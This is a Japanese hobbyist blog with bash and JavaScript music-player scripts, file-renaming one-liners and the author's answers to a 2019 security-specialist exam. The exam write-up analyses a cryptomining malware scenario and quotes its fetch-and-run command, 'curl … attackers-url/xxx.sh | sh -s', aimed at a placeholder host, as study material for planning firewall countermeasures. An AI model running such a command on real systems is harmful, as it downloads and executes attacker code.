min117の日記

初期desireもち。趣味Mac,メインFedora,仕事xp。

RaspberryPi3で簡易音楽プレイヤーを作る ver1(テレビでアルバム画像を表示しつつ曲再生)

テレビにアルバム画像を表示しながら曲を流しっぱにしたい。

 

君はロックを…を流して

f:id:min117:20191109232513j:plain

再生が終わると画像が変わって

 

ワタリドリが流れる。

f:id:min117:20191109232516j:plain

 

2つの機能が必要だ。

・テレビ画面に画像を映し出す機能 → fbiコマンドで実現

・テレビ画面で音楽を再生する機能 → omxplayerコマンドで実現

 

min117.hatenablog.com

 

 

 

 

できた。使い方はこんな感じ。

 

まずはMacのコンソールから

f:id:min117:20191110084958p:plain

sshでRaspberryPi3に接続し

f:id:min117:20191110084921p:plain

今回作るスクリプトを叩くと

$ ./mymp3pi.sh

f:id:min117:20191110085255p:plain

曲が順に再生されていく。

f:id:min117:20191109232507j:plain

f:id:min117:20191109232513j:plain

f:id:min117:20191109232516j:plain

ソースコード内で「この曲にはこの画像」という指定(アルバム画像指定)をするのが面倒。singerの名前を判断して自動で画像を拾うようにしたい。

 

singerの画像も、フォルダの中にあらかじめ用意するんじゃなくて、singer名から自動でGoogle画像検索される画像を表示させるようにすれば(毎回ランダムなカバー画像が出て)面白そう。次回以降で試す。

min117.hatenablog.com

 

今回のソースはこれ。

$ vim mymp3pi.sh

f:id:min117:20191110085812p:plain

26行目

・再生する曲を指定する(for文の引数に食わせる)

・ここを自由に入力できるように改造したい

スクリプトの引数を食わせてもいいし

・ランダム指定でいろんな曲が流れるようにもできそう。

 

33行目

・fbiコマンドで画像を表示している。

min117.hatenablog.com

 

36行目

・omxplayerで曲を再生している。

・再生している曲をリモコンで一時停止したり戻したりできるようにしたい。

・以前作ったmkfifoでのリモコン操作でなんとかなりそう。

min117.hatenablog.com

 

コピペ用

  1 #!/bin/bash

  2 

  3 shopt -s expand_aliases

  4 source ~/.bashrc

  5 

  6 # shopt について

  7 # https://www.gnu.org/software/bash/manual/html_node/The-Shopt-Builtin.html

  8 

  9 # 異常時にちゃんと止まるスクリプト

 10 # http://fj.hatenablog.jp/entry/2017/05/20/192431

 11 #set -eu -o pipefail

 12 #trap 'echo "ERROR: line no = $LINENO, exit status = $? > &2; exit 1' ERR

 13 

 14 mydate=`date +"%Y%m%d_%H%M%S"`

 15 mypath=`pwd`

 16 

 17 echo $mydate

 18 

 19 # http://d.hatena.ne.jp/nattou_curry_2/20091103/1257262803

 20 # Bashを使うなら理解しておきたいアルゴリズム - 抽出・ソート・結合・集計

 21 

 22 # 関数

 23 # function multi() { echo "数値を入力"; read ans; for i in $(seq 1 10); do echo "$i"; echo $*1; done; }

 24 

 25 

 26 for i in aimyon*mp3 Alex*mp3

 27 do

 28     echo "$i"

 29 

 30     sudo kill -9 $(ps aux | grep -v grep | grep player | awk '{print $2}')

 31     sudo kill -9 $(ps aux | grep -v grep | grep fbi | awk '{print $2}')

 32 

 33     sudo fbi -T 1 -d /dev/fb0 -noverbose "$i".jpg

 34     # sleep 3

 35 

 36     omxplayer "$i"

 37     # sleep 5

 38     echo '--------------------'

 39 done

 

*1:ans**

    i

RaspberryPi3 fbiコマンドでテレビ画面に画像を表示する

sshで接続した先のRaspberryPiからHDMIで繋がったテレビ画像を表示したい。fbi(Frame Buffer Imageviewer)コマンドを使えばできる。こうなる。

$ sudo fbi -T 1 -d /dev/fb0 -noverbose Alexandros_ワタリドリ.mkv.mp3.jpg

f:id:min117:20191109225739j:plain

なんて便利。サイネージに使えそう。

 

RaspberryPi3で動かすまでの手順を残しておく。まずはこのへんの記事を参考にコマンド「fbi」をインストールする。

qiita.com

www.kuzuore.com

iot-plus.net

www7390uo.sakura.ne.jp

 

# sudo apt-get -y install fbi

f:id:min117:20191109222110p:plain

インストール完了。

f:id:min117:20191109222101p:plain

 

動くか確認。

# fbi

f:id:min117:20191109222156p:plain

よし。

 

画像を表示させてみる。

$ sudo fbi -T 1 -d /dev/fb0 -noverbose Alexandros_ワタリドリ.mkv.mp3.jpg

f:id:min117:20191109225739j:plain

素晴らしい。

 

ただ、fbiで表示した画像を消すには、プロセスをkillするだけじゃ足りないようで(プロセスは死んでも画像は表示されたままになる)、kill後に別の画像を表示してやる必要があるみたい。

・fbiで画像表示

・プロセスをkill

・次の画像を表示(または真っ黒な画像を表示)で消える

 

 

 

ということは、例えばこういう3枚の画像があるとして

f:id:min117:20191109231517p:plain

forループで回してやれば順番にテレビに表示することができるわけだ。

 

for i in aimyon*jpg Alex*jpg; do echo "$i"; sudo kill -9 $(ps aux | grep -v grep | grep fbi | awk '{print $2}'); sudo fbi -T 1 -d /dev/fb0 -noverbose "$i"; sleep 5; done 

f:id:min117:20191109231454p:plain

実行すると

 

1枚目が表示され

f:id:min117:20191109232507j:plain

5秒経つと

 

2枚目が表示され

f:id:min117:20191109232513j:plain

さらに5秒経つと

 

3枚目が表示されて

f:id:min117:20191109232516j:plain

画面にはその画像が残ったままになる、という動作をする。

 

実行結果

f:id:min117:20191109231735p:plain

最高すぎ。

 

このforループにomxplayerで音楽再生のコードを入れてやればテレビで観賞できるカバー画像付き簡易音楽プレイヤーになるわけだ。

 

bashスクリプトにすればすぐ作れそう。次回試す。

 

コピペ用

for i in aimyon*jpg Alex*jpg; do echo "$i";  sudo kill -9 $(ps aux | grep -v grep | grep fbi | awk '{print $2}');  sudo fbi -T 1 -d /dev/fb0 -noverbose "$i";  sleep 5; done

aimyon_MG.mp3.jpg

 

複数のmp3ファイルを順に連続再生するJavaScriptコード(JQueryは使わない)

サイト上にこんな2曲分のmp3ファイルがあったとして

f:id:min117:20191104215219p:plain

これらを連続再生したい

 

つまり「aimyon_MG.mp3の再生が終わったら「aimyon_ROCK.mp3を再生したい。

 

ちなみに「aimyon_MG.mp31曲だけを繰り返しループ再生するコードは以前書けた(phpで実装)

min117.hatenablog.com

 

今回は JavaScript を使って2曲連続再生を実装する。なおJQueryは使わない

 

できた。

$ vim my_musicplayer_loop.html

f:id:min117:20191104221100p:plain

 

コピペ用

  1 <!DOCTYPE html>

  2 <html lang="ja">

  3 <head>

  4         <meta charset="utf-8">

  5         <title>音楽連続再生テスト</title>

  6 </head>

  7

  8 <body>

  9         <audio id='audio'></audio>

10         <script type="text/javascript">

11         'use strict';

12

13         var playlist = [

14                 './aimyon_MG.mp3',

15                 './aimyon_ROCK.mp3'

16         ]

17

18         var audio = document.createElement('audio');

19         document.body.appendChild(audio);

20         audio.style.width = '100%';

21         audio.style.height = 'auto';

22         audio.controls = true;

23         audio.volume = 0.2;

24

25         audio.src = playlist[0];

26         audio.play();

27

28         // イベントendedは下記コメント参照

29         var index = 0;

30         audio.addEventListener('ended', function(){

31                 index++;

32                 if (index < playlist.length) {

33                         audio.src = playlist[index];

34                         audio.play();

35                 } else {

36                         audio.src = playlist[0];

37                         audio.play();

38                         index = 0;

39                 }

40         });

41

42        

43         </script>

44 </body>

45 </html>

といっても自分で書いたわけではなくて。どこかの天才のコード写経だけど。

[JavaScript] 複数の音楽ファイルを連続で再生しループする。 · GitHub

 

うまいのは36行目。2曲目が終わったら1曲目の頭に戻るようにしてるところ。

f:id:min117:20191104221331p:plain

これは便利。

 

こういうシンプルなコードの良いところ応用が効くから。例えばちょっと改造してこんな感じにして

f:id:min117:20191104223231p:plain

チェックボックスをつけた曲だけ連続再生するサイトとかすぐ作れそうだ(今度試す)。

 

 

 

動かしてみる。

f:id:min117:20191104220229p:plain

my_musicplayer_loop.html をクリックすると…

 

最初の曲の再生が開始され

f:id:min117:20191104220515p:plain

 

その曲が終わる

f:id:min117:20191104220518p:plain

 

次の曲が読み込まれ

f:id:min117:20191104220522p:plain

 

再生開始する。

f:id:min117:20191104220527p:plain

うまくいった。最高。

 

なお、30行目でイベント ended を捕まえている

f:id:min117:20191104221515p:plain

これを違うものに変えれば色々と動作を変えられそうだ。

 

www.htmq.com

f:id:min117:20191104221713p:plain

 

 今度試す。

 

追記)

再生対象の曲名を表示するようにした。

f:id:min117:20191104231947p:plain

 

16行目の配列に入っているファイル名(曲名)を表示する処理を入れる。

  1 <!DOCTYPE html>

  2 <html lang="ja">

  3 <head>

  4         <meta charset="utf-8">

  5         <title>音楽連続再生テスト</title>

  6 </head>

  7 

  8 <body>

  9         <!-- getElementByIdより前にdiv id='my_src_Area を描かないとエラーになる-->

 10         <div id='my_src_Area'></div>

 11         

 12         <audio id='audio'></audio>

 13         <script type="text/javascript">

 14         'use strict';

 15 

 16         var filelist = [

 17                 './aimyon_MG.mp3',

 18                 './aimyon_ROCK.mp3'

 19         ]

 20 

 21         //曲名配列の内容を表示

 22         //https://ascii.jp/elem/000/000/525/525808/index-4.html

 23         var my_src = '<ul>';

 24         for(var i=0; i<filelist.length; i++){

 25                 // my_src += '<li onclick=start_music("'+filelist[i]+'")>';

 26                 my_src += '<li>' + filelist[i] + '</li>';

 27                 // console_log(filelist[i]);

 28         }

 29         my_src += '</ul>';

 30         document.getElementById("my_src_Area").innerHTML = my_src;

 31 

 32         var audio = document.createElement('audio');

 33         document.body.appendChild(audio);

 34         audio.style.width = '100%';

 35         audio.style.height = 'auto';

 36         audio.controls = true;

 37         audio.volume = 0.2;

 38 

 39         audio.src = filelist[0];

 40         audio.play();

 41 

 42         // イベントendedは下記コメント参照

 43         var index = 0;

 44         audio.addEventListener('ended', function(){

 45                 index++;

 46                 if (index < filelist.length) {

 47                         audio.src = filelist[index];

 48                         audio.play();

 49                 } else {

 50                         audio.src = filelist[0];

 51                         audio.play();

 52                         index = 0;

 53                 }

 54         });

 55         </script>

 56 

 57 </body>

 58 </html>

変更点

10行目 getElementByIdで呼ばれるidを<div>で定義

23行目から30行目 曲名を表示するためのforループとgetElementByIDを追記

 

参考)

ascii.jp

ascii.jp

大量のmp3ファイルに一括でアルバムアートを登録する(eyeD3)

iTunesでなくて、CDで買った曲をiPhoneの「ミュージック」アプリに入れて聴く。アルバムアートをつけるのが面倒(けど実は楽しい)と思っていたら、一括でアルバムアートを登録できるeyeD3なるコマンドがあった。

 

Macbashで動くのが最高に良い。動きはこう。

 

$ eyeD3 --add-image aimyon00.jpg:FRONT_COVER 曲名.mp3

f:id:min117:20191026231243p:plain

これだけ。

 

追加されたか確認。

eyeD3 曲名.mp3

f:id:min117:20191026231542p:plain

FRONT_COVER(アルバムアート)が追加されている。

 

その曲をMacから見てみると、アルバムアート画像が付いた状態で見える。

f:id:min117:20191026231758p:plain

 

違うアルバムアートにしたければ画像の名前を変えてやればいい。

$ eyeD3 --add-image aimyon01.jpg:FRONT_COVER 曲名.mp3

f:id:min117:20191026231926p:plain

すごい。

 

フォルダの中に大量のmp3があったとしても、コマンド一撃(ワンライナー)でアルバムアート画像をつけられる。

$ for i in Perfume_*; do echo "$i"; eyeD3 --add-image perfume.png:FRONT_COVER "$i"; done

f:id:min117:20191026225413p:plain

最高。

 

 

 

以下インストール手順。python3環境でインストールした。

 

$ pip3 install eyeD3

f:id:min117:20191026225833p:plain

 

eyed3.readthedocs.io

 

f:id:min117:20191026225949p:plain

 

PyPIを使えばオフラインでもインストールできるかも。

min117.hatenablog.com

pypi.org

 

インストール後、曲の状態を参照してみる。

$ eyeD3 曲名.mp3

f:id:min117:20191026230411p:plain

あれ?faild to find libmagic. Check your installation エラーになってしまった。ググったらこのへんで解決できそう。 

github.com

 

$ pip3 uninstall python-magic

$ pip3 install python-magic-bin==0.4.14

f:id:min117:20191026230618p:plain

 

うまく入ったようだ。ヘルプも見られる。

$ eyeD3 --help | grep image

f:id:min117:20191026231100p:plain

 

アルバムアート追加前

f:id:min117:20191026230708p:plain

 

アルバムアート追加後

f:id:min117:20191026231243p:plain

色を反転してみると

f:id:min117:20191026231542p:plain

しっかり追加されている。

 

bash シェルで正規表現を駆使してファイル名を一括変更する

bashを使ってファイル名を整理したい。

f:id:min117:20191026214556p:plain


例えばこんなファイルがあって

f:id:min117:20191026213846p:plain

文字列「Perfume」で始まるファイルのうち、「Perfume」の後ろにアンダーバーが入っていないファイルだけを取り出して、そこに一括でアンダーバーを入れてやりたい。

 

ファイルの一括処理をするにはシェルでfor文を回せばいいだけ。ただ、処理するファイル名を捕まえる方法はbashのfor構文内では2箇所あるわけで、

つまり

$ for i in *ここ*; do echo "$i"; if [[ "$i" =~ "正規表現" ]]; then echo "$i"; 処理; fi; done

f:id:min117:20191026210401p:plain

とすれば

ここの部分か、またはifの条件にある正規表現の箇所でファイルを捕まえられる。

 

ここの箇所の表現は(シェルがbashか、zshか、cshかによって)記法が変わってきちゃいそうなので、今回は(より柔軟そうな)ifの条件にある正規表現にて捕まえることにする。

 

 

 

$ for i in *Perfume*; do if [[ "$i" =~ .*Perfume[A-Z][a-z].* ]]; then echo "$i"; fi; done

f:id:min117:20191026213009p:plain

あれ?2件しかひっかからない?あ、そうか。正規表現が間違っている。この正規表現だと「PerfumeDream」みたいに、大文字の次に小文字がくるやつしか引っかからないか。

 

長ったらしくなるが、if文の中に「or条件」で書いてみる。

$ for i in *Perfume*; do if [[ "$i" =~ .*Perfume[A-Z][a-z].* || "$i" =~ .*Perfume[A-Z][A-Z].* ]]; then echo "$i"; fi; done

f:id:min117:20191026213105p:plain

今度はOK。ほしいファイル4件が引っ掛かった。

 

あとはmvにsedを使ってPerfumeのあとにアンダーバーを入れてやれば良い。

for i in *Perfume*; do if [[ "$i" =~ .*Perfume[A-Z][a-z].* || "$i" =~ .*Perfume[A-Z][A-Z].* ]]; then echo "$i"; \mv -f "$i" $(echo "$i" | sed -e s/"Perfume"/"Perfume_"/g); fi; done 

f:id:min117:20191026213753p:plain

 

lsで確認。

f:id:min117:20191026214200p:plain

バッチリ変更された。

 

もしかして今回のはPOSIX表記だと(alnumとかで)もっとラクに書けたかもしれない。

www.koikikukan.com

f:id:min117:20191026215841p:plain

f:id:min117:20191026215929p:plain

 

BASH_REMATCH初めて知った

qiita.com

f:id:min117:20191026223242p:plain

 

アンダーバーの後ろに日本語がくるファイル(レーザービームとか)もあるが、これを正規表現でひっかけるの癖がありそう

orebibou.com

 

と思ったらイッパツでできた。まじか。bash凄すぎるな。

$ for i in *Perfume*; do if [[ "$i" =~ .*Perfume[ぁ-ん] ]]; then echo "$i"; fi; done

f:id:min117:20191026221249p:plain

次回はファイル文字列中に含まれる不要な英数字の連続部分だけを除去する。

f:id:min117:20191026205714p:plain

これもfor文内部のif条件式の正規表現でファイルを捕まえてsedで処理させればいいだろうけど、sed内でも正規表現を使わないといけないから今回よりはちょっと難しいはず。次回試す。

 

min117.hatenablog.com

min117.hatenablog.com

min117.hatenablog.com

 

bash 複数のソースファイルに日付をつけて一括バックアップ(拡張子は変えない)

pythonやらphpやらで色々書いたソースを一括でDropboxにバックアップしたい。

f:id:min117:20191026101857p:plain

 

ファイル名に今日の日付をつけ拡張子は変えずにバックアップする。 こんな感じ。

f:id:min117:20191026103025p:plain

 

ファイル名から、本体部分(body)と拡張子部分(ext)を取り出すところに工夫がいる。

 

できた。

$ for i in *{php,css,sh,py,rb,html,txt,pl}; do echo "$i"; fn=$(basename "$i"); echo "$fn"; body=${fn%.*}; echo $body; ext=$(echo "${fn##*.}"); echo $ext; echo '------'; cp "$i" ~/Dropbox/develop/sh/"$body"_20191026."$ext"; done

f:id:min117:20191026101039p:plain

 

実行

f:id:min117:20191026101131p:plain

うまくいった。ワンライナーでもできる。

f:id:min117:20191026100656p:plain



alias切る。

$ vim ~/.bashrc

 alias mykakutyousi='echo 拡張子と本体に分ける; for i in *; do echo "$i"; fn=$(basename "$i"); echo "$fn"; body=${fn%.*}; echo $body; ext=$(echo "${fn##*.}"); echo $ext; echo "-----"; done'

f:id:min117:20191026095927p:plain

 

$ source ~/.bashrc 

$ ./mykakutyousi

f:id:min117:20191026100320p:plain

かなり便利。

 

 

 



min117.hatenablog.com

情報処理安全確保支援士(SC)令和元年度 秋期 午後Ⅱ 問1 解答例(2019年10月20日実施)

昨日 2019年10月20日(日) 実施の情報処理安全確保支援士試験(SC)。

f:id:min117:20191021231853j:plain 

後Ⅱ 。記述式。問1、問2 から1つ選んで回答する。

 

※ TACの解答

https://www.tac-school.co.jp/kaitousokuhou/downloads/16_R1F_SC解答例.pdf

 

※ ITECの解答

https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm1_kaito_n.pdf

https://www.itec.co.jp/wp-content/uploads/shiken/2019a/2019a_sc_pm2_kaito_n.pdf

 

問1を選択した。

 解答速報を書く(あくまで個人の回答。正解かは分からない)。

 

 

令和元年度 期 午後Ⅱ 問1 解答例

設問1

(1)S社開発用LANのPCからDBMS-Rを通してOSコマンドを実行することによりマルウェアXの活動が妨げられ暗号資産の採掘用プログラムが実行できない(75字以内)

(2)

 α  top

 β  ライブラリ

 γ  /proc/123

(3)会員情報はサービスCのみに保存されておりマルウェアXが侵入したDBMS-Rには保存されていないうえ、Xの通信は他のサーバへの侵入と演算結果の送信にとどまり他の情報は送っておらず他にSSH接続もないから(100字以内)

 

設問2

(1)

 対策1:ア、エ

 対策2:

 対策3:ア、イ、エ

 対策4:ア、ウ、エ、オ

(2)

 あ 22/tcp

 い 6739/tcp

 う a2.b2.c2.d2

(3)

 a curl

 b su iptablesが正解かも

(4) 

 え  ハッシュ値

 お  比較

 か キ 変更

 

設問3

(1)

  CIS Benchmarks

  OWASP ASVS

(2)自社で運用している実行環境を整理する。ソフトウェア、システム設定、システム情報を把握し脆弱性情報収集の対象を明確に絞る(60字以内)

(3)

 き  CVSSによる脆弱性アセスメント

 く  ストレステスト

(4)

 け 作成

 こ エンジニア

 

設問4

 c  コンテナエンジン

 d  アプリ

 e  コンテナ

 f  変更の履歴

 g  本番

 h  検証

 

<思考のメモ>

全般

・S社は(従業員120名もいるのに)エンジニアは5名だけで、かつその5名が開発と運用まで行っている

・DevOpsなんて聞こえはいいが…「いや社畜か」と突っ込みたくなる。せめて運用部門かサポートデスク作ればいいのに。

www.youtube.com

 

・開発チームの使っているツールは

  外部クラウドサービスを利用している → W社データセンター(AWSとか)

  開発プラットフォームを使いバージョン管理している → githubとか

  テキスト共有サービスを使って開発情報をやりとり → Slackとか

  監視ツールの導入を容易にするためにコンテナ技術 → dockerとか

 だろう。

 

S社のサービス

・「S社のサービスは顧客からの評判もよく登録会員数は2,000社を超えている」とあるから、W社データセンターの上に敷いたdocker基盤のうえにWebサービスがあって、2,000社もの企業が抱える顧客がアクセスしてくる。

f:id:min117:20191022134841p:plain

・図1でいうとインターネットからサーバA(a1.b1.c1.d1)にアクセスが来る。

 

FWのルール

・ということはインターネットからa1.b1.c1.d1へのアクセスは遮断しちゃダメ(サービスが止まってしまうから)。つまりポート80(HTTP)とポート443(HTTPS)は遮断しちゃダメ

f:id:min117:20191022135413p:plain

・つまりこのルールだと項番1と2は変えられないということになる。

 

データベースの構成

・DBを確認すると

 アプリQのためのデータベース → DBMSサービスC

 アプリDのためのデータベース → DBMS-R6379/tcp)を新たに稼働

・ということは、上の表1にある項番3でインターネットに完全にオープンにしちゃっているDBMS-R(6379/tcpが明らかに危険だろうと想像がつく

・問題文の4ページまで読んだ時点で、ここまでは読み取れる。

 

インシデントの発生

・5ページには「サーバAからデータセンター内の他のサーバを探索するアクセス」があったと言っている。

・つまりサーバAから発信する通信があったと言っている。これもいずれFWで遮断しなければいけないだろうと思って読み進める。

 

マルウェアのXの挙動(FWのルール変更)

・6ページの図3の3にあるとおり、マルウェアXはiptablesを変更してポート6379へのパケットを破棄するルールを追加している。

・そもそもポート6379はなぜ開けたのだったか。理由は4ページにある。

 f:id:min117:20191022213351p:plain

S社開発用LANのPCからDBMS-Rのデータベースを参照・更新したり、ネットワーク経由で外部からDBMS-Rを通じてOSコマンドを実行する機能…を利用したりするため」だ。

 

・つまり、S社開発部がDBMS-Rのポート6379を通じてOSコマンドを発行できるということ。

・だから例えば、マルウェアに気づいた開発部員がマルウェアプロセスをkillしたり、不正通信を遮断するなどの対策を打てば、攻撃者の意図に反してマルウェア活動が妨げられ暗号資産の採掘用プログラムが実行できない(設問1の(1))状況に陥ってしまいかねない。

・だからマルウェアは、DBMS-Rに侵入できた直後に、空いていたポートを閉じてそれ以上は誰もログインしてこないように通路を塞ぐ動作をしたと思われる。

 

・一連のマルウェアXの動作の流れを想像すると

  はじめにポートスキャン(nmapとかだろう)して

  6379/tcpが空いているのを発見したので

  脆弱性を突く攻撃をした(metasploitとか?)

 結果、

  DBMS-Rの権限を乗っ取れたので

  curlでxxx.shをダウンロード(6ページ3行目)し

  cronの定期実行に仕込み(6ページ4行目)し

  iptablesの設定を変えてポート6379を閉じたうえで

  さらに他のサーバへの侵入を試みた(6ページ図3の6)

 結果、

  「サーバを探索するアクセス」が観測された(5ページ2行目)

min117.hatenablog.com

 

DBMS-Rを実行できるユーザーの権限について

マルウェアXが侵入できたのは「DBMS-Rの脆弱性を悪用して認証をバイパス(6ページ1行目)」たためであって

・つまりDBMS-Rユーザーとしてログインしているにとどまる(rootユーザーではない)。

 

DBユーザーには管理権限なんて持たせないのが鉄則。

・だけど今回、侵入成功後のマルウェアXがiptablesコマンド(8ページbの解答)によって図2の(ウ)を実行できているということは、S社では(鉄則に反して)DBMS-RユーザーはOSの管理権限まで持たせてしまっていたということが分かる。

iptablesは(管理者泣かせなくらい)管理権限を求めてくるコマンドなので
min117.hatenablog.com

 それが実行できたということはroot同等の権限が与えられていたのだろうから。

・こういうことがないようにDBMS-Rを必要最小限の権限にして稼働させる(8ページのPさん)必要がある。

 ※ なお今回の解答にあたって「脆弱性利用してDBMS-Rに接続したあと、suコマンドDBMS-Rのユーザーになった」と思い込んでしまったが、そんなことは問題文のどこにも無かった。

 

ルートキットの動作

・6ページは易しい問題だったと思う。選択式だったし。

 α  top

 β  ライブラリ

 γ  /proc/123

f:id:min117:20191022222418p:plain

・プロセス監視ツールはtopコマンド(普通はps auxだと思うけど…)

ライブラリ関数を通じてディレクトリ/proc/123のファイルにアクセスすればいい。

・γに入る解答がア(/proc/123)かウ(proc)か迷うけど、/proc配下にあるプロセス番号ディレクトリだという点は見落としがちなので注意がいると思う。

・ちなみにメモリ情報にあたる/proc/meminfoはファイルなので。比較で覚える。

min117.hatenablog.com

 

対策1、対策2について

f:id:min117:20191022225439p:plain

・対策1「サーバAへのアクセスを、利用が想定されるIPアドレスだけに固定する」とあるが

・この「想定されるIPアドレスという言い方に含みがある。これを正確に把握するのが解答の肝だと思う。

もう一度ネットワーク構成を見てみると

  f:id:min117:20191022134841p:plain

 サーバAに接続するのは

  アプリ利用者 HTTP(80/tcp)またはHTTPS443/tcp

  S社の開発者 SSH22/tcp)またはDBMS-R(6379/tcp

 であって、当然のことながらアプリ利用者の通信は制限しちゃダメ

・だから、サーバAへのアクセスが想定されるIPアドレスとは利用者の通信のほうではなくて開発者の使うa2.b2.c2.d2のことであって、使うポートは22/tcpと6379/tcpということになる。

・なので、対策としては

 f:id:min117:20191022225257p:plain

「サーバAのポート22/tcp及び6379/tcpへのアクセスは、S社の開発用LANだけからなので、表1において、送信元をa2.b2.c2.d2に限定すべきでした」となる。

 あ 22/tcp

 い 6739/tcp

 う a2.b2.c2.d2

 

対策3について

f:id:min117:20191022225439p:plain

対策1と2が

 サーバAへのアクセス制御 だったのに対して

対策3は

 サーバAからのアクセス制御 というところが大きく違う。

・そもそも今回の感染が「ほかのサーバを探索するアクセスを繰り返している」(5ページ2行目)との連絡から発覚したという事実からも分かるとおり、サーバAからマルウェアXによる通信が外に出ていく。

・例えば「サーバAから、ポート6379/tcpが開放されているほかのサーバへの侵入を試みる通信(6ページ上の6)が出ていく。ポートスキャンだからおそらくnmapを使ったスキャンとかだろう。

・さらに「サーバAに侵入の際及び感染後にcurlコマンド(P8のaの解答)によってファイルをダウンロードしたことを考えると、サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止すべき」(P8の上4行)という対策になる。

マルウェアが使ったcurlコマンドは6ページにある。

 curl -sf https://▲▲▲▲/attackers-url/xxx.sh | sh -s

 f:id:min117:20191022232442p:plain

・これを防ぐFWの設定は具体的にどうやるかも理解しておく。

 f:id:min117:20191022232708p:plain

項番5にある「全て 全て 全て 破棄」がそれ

・これによって「サーバAから80/tcp及び443/tcpを含め、外部へのアクセスは禁止」されることになる。

 

設問2の(1)

・難しかった。日本語の受け取り方で解答が変わってしまいそうな気がする。

・事実、受験予備校TACとITECで解答が違ってしまっている

TACの解答はこれ。

 f:id:min117:20191025004403p:plain

ITECの解答はこれ。

 f:id:min117:20191025004555p:plain

・こういう、日本語の受け取り方で解答が変わってしまうようないわゆる悪問は、出題者が未熟なのかもしれないが、たまにある。

・今回はこれ、採点が付かないんじゃないか(全員正解?)と想像する。

 

・改めて問題文を見てみる。

 (1) 表2 中の対策1〜4は、図2の3の(ア)〜(オ)のどの機能への対策となるか。それぞれ該当する機能を全て選び、記号で答えよ

・表2中の対策1〜4はこれ。

f:id:min117:20191022225439p:plain

・図2のア〜オはこれ。

f:id:min117:20191024235923p:plain

対策それぞれについて問題文に当てはめて日本語を組み立てしてみる。

※ 受験予備校の解答とは違うけど(自分なりに考えて出した答えだし)思考したそのまま残す。

 

対策1 

f:id:min117:20191025002644p:plain

「サーバAへのアクセスを、利用が想定されるIPアドレスだけに限定する

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスを成功して侵入し採掘用プログラムをダウンロードしたのだから。

  → それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスを成功して侵入しFWのルールを変更してしまったのだから。

  → それを繰り返さないように、サーバAへのアクセスを限定してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからのルートキットYをダウンロードする行為を止められるわけではないから。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だってサーバAへのアクセスを限定したところで、感染してしまったサーバAからの暗号の痕跡が含まれるログファイルを削除する行為を止められるわけではないから。

 

対策2

f:id:min117:20191025002804p:plain

「サービスで利用するポート番号をデフォルト以外の値に変更する

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だってマルウェアXは今回サーバXへのアクセスをポート6739を通じて成功採掘用プログラムをダウンロードしたのだから。

  → それを繰り返さないように、サーバAへで稼働するDBMS-Rのポート番号を6739/tcp以外に変更してマルウェアXの侵入を防ぐのは対策になると思う。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAからの(ほかのサーバに向けて)侵入を試みる行為を止められるわけではないから。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAで稼働するFWのルール変更を止められるわけではないから。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアルートキットYをダウンロードしインストールする行為を止められるわけではないから。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だってサーバAのポート番号を変更したところで、感染してしまったサーバAでマルウェアが暗号の痕跡が含まれるログファイルを削除しようとする行為を止められるわけではないから。

 

対策3

 f:id:min117:20191025002939p:plain

SSH、HTTP及びHTTPSについて、サーバAからの外部へのアクセスを禁止する」

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

対策4

f:id:min117:20191025003053p:plain

「アプリ及びミドルウェアを管理者権限以外の必要最小限の権限で稼働させる」

マルウェア

 (ア)暗号資産の採掘用プログラムをダウンロードし、実行する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (イ)ほかのサーバ上で稼働するDBMS-Rに侵入を試みる機能への対策となるか?

  → No。対策とならない

  → だって…から。

 

 (ウ)サーバのFWルールを変更する機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (エ)ルートキットYをダウンロードし、インストールする機能への対策となるか?

  → YES。対策となる

  → だって…から。

 

 (オ)暗号の痕跡が含まれるログファイルを削除する機能への対策となるか?

  → No。対策とならない

  → だって…から。

  

続き

・後ほど書く。

 

 単語(設問3)

dev.classmethod.jp

techtarget.itmedia.co.jp

www.jpcert.or.jp

ja.wikipedia.org

ja.wikipedia.org

 

なお、午後はこちら。

午後Ⅰ 問2

min117.hatenablog.com

午後Ⅰ 問3

min117.hatenablog.com

 

Ⅱ はこちら

min117.hatenablog.com

 

以下問題文。

f:id:min117:20191021231750j:plain

f:id:min117:20191021231802j:plain

f:id:min117:20191021231807j:plain

f:id:min117:20191021231811j:plain

f:id:min117:20191021231816j:plain

f:id:min117:20191021231821j:plain

f:id:min117:20191021231826j:plain

f:id:min117:20191021231835j:plain

